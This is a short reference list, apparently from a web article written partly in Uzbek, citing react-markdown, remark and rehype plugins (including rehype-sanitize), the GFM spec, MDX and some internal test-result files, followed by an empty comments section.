- react-markdown 10: README (
components,skipHtml,allowedElements,unwrapDisallowed,urlTransform, "Security") — github.com/remarkjs/react-markdown - remark-gfm 4, rehype-raw 7, rehype-sanitize 6 (
defaultSchema) — github.com/remarkjs, github.com/rehypejs - unified: mdast, hast — unifiedjs.com
- GitHub Flavored Markdown Spec — github.github.com/gfm
- MDX — mdxjs.com; markdown-to-jsx — github.com/quantizor/markdown-to-jsx
- Kanon:
vazifalarholat 08 (xususiyatlar/izoh/),natijalar/tekshiruv-08.txt,08-axe.txt,brauzer-tekshiruv/natija-21-08.txt,natijalar/tajriba/kutubxonalar-21.txt(2026-10-17)
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!